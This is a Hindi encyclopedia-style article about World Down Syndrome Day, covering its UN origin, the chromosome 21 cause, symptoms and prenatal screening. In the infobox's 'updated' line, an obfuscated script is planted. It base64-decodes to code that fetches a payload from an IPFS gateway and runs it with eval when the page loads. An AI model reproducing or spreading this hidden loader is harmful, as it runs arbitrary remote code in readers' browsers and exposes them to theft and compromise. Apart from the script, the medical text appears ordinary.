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विश्व डाउन सिंड्रोम दिवस

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विश्व डाउन सिंड्रोम दिवस
विश्व डाउन सिंड्रोम दिवस
विवरण 'विश्व डाउन सिंड्रोम दिवस' विश्व स्तर पर मनाया जाने वाला दिवस है। यह दिवस मानव में जेनेटिक बीमारियों से सम्बंधित है।
स्तर विश्व स्तर में
तिथि 21 मार्च
शुरुआत दिसंबर 2011
उद्देश्य डाउन सिंड्रोम बीमारी हेतु लोगों में जागरूकता फैलाने के लिए।
अन्य जानकारी साल 2021 में विश्व डाउन सिंड्रोम दिवस को मान्यता देने के लिए एक एनिमेटेड शॉर्ट फ्रीबर्ड बनाया गया था। माइकल जोसेफ मैकडोनाल्ड द्वारा लिखित और निर्देशित यह फिल्म जॉर्डन हार्ट के गीत फ्रीडम पर सेट की गई थी और इसने शिकागो इंटरनेशनल चिल्ड्रन का पुरस्कार जीता।
अद्यतन‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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शुरुआत

दिसंबर 2011 में संयुक्त राष्ट्र महासभा ने 21 मार्च को 'विश्व डाउन सिंड्रोम दिवस' के रूप में घोषित किया। महासभा ने 2012 से प्रत्येक वर्ष 21 मार्च को 'विश्व डाउन सिंड्रोम दिवस' मनाने का निर्णय लिया। डाउन सिंड्रोम के बारे में सार्वजनिक जागरूकता बढ़ाने के लिए महासभा सभी सदस्य राज्यों, संयुक्त राष्ट्र प्रणाली के संबंधित संगठनों और अन्य अंतरराष्ट्रीय संगठनों के साथ-साथ गैर-सरकारी संगठनों और निजी क्षेत्र सहित नागरिक समाज को वर्ल्ड डाउन देखने के लिए आमंत्रित करती है।

जेनेटिक बीमारी

डाउन सिंड्रोम एक जेनेटिक बीमारी है जिसके बारे में जागरूकता फैलाने के लिए 'विश्व डाउन सिंड्रोम दिवस' मनाया जाता है। दरअसल, हर साल कुछ बच्चे इस जेनेटिक बीमारी के साथ पैदा होते हैं। वह बच्चे जिनमें यह बीमारी पैदाइशी होती है, उनमें यह जीवन के अंत तक बनी रहती है। हालांकि, साइंस इतना आगे बढ़ चुका है कि अब गर्भावस्था में ही ऐसे बच्चों का पता लगा लिया जाता है।[1]

कारण

माता-पिता दोनों अपने जीन अपने बच्चों को हस्तांतरित करते हैं। ये जीन क्रोमोसोम में ट्रांसफर होते हैं। जब बच्चे की कोशिकाएं विकसित होती हैं तो प्रत्येक कोशिका को कुल 46 क्रोमोसोम के लिए 23 जोड़े क्रोमोसोम प्राप्त होने चाहिए। आधे क्रोमोसोम माता के और आधे पिता के होते हैं। डाउन सिंड्रोम वाले बच्चों में क्रोमोसोम में से एक ठीक से अलग नहीं होता है। शिशु के पास दो के बजाय गुणसूत्र 21 की तीन प्रतियां या एक अतिरिक्त आंशिक प्रतिलिपि होती है। यह अतिरिक्त गुणसूत्र मस्तिष्क और शारीरिक विशेषताओं के विकसित होने पर समस्याएं पैदा करता है।

लक्षण

जन्म के समय डाउन सिंड्रोम वाले शिशुओं में आमतौर पर कुछ विशिष्ट लक्षण होते हैं, जिनमें शामिल हैं-

  • सपाट चेहरा
  • छोटा सिर और कान
  • छोटी गर्दन होने की पैदाइशी बीमारी
  • उभरी हुई जीभ
  • आंखें जो ऊपर की ओर झुकी हों
  • असामान्य आकार के कान


बड़े होने पर नजर आते हैं निम्न लक्षण-

  • मानसिक और सामाजिक विकास में देरी
  • आवेगपूर्ण व्यवहार
  • पढ़ने-लिखने में दिक्कत
  • धीमी सीखने की क्षमता
  • बहुत धीमा विकास

परीक्षण

ध्यान देने वाली बात ये है कि गर्भावस्था के दौरान डाउन सिंड्रोम का पता लगाने के लिए दो बुनियादी प्रकार के परीक्षण उपलब्ध हैं-

  1. स्क्रीनिंग टेस्ट
  2. डायग्नोस्टिक टेस्ट

ये दोनों एक महिला और उसके स्वास्थ्य सेवा प्रदाता को बता सकता है कि उसकी गर्भावस्था में डाउन सिंड्रोम होने की संभावना कम है या अधिक है, तो प्रेगनेंसी के दौरान ही इसका पता चल सकता है और इस प्रकार की प्रेगनेंसी में क्या करना है डॉक्टर आपको सही राय दे सकते हैं।[1]


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टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

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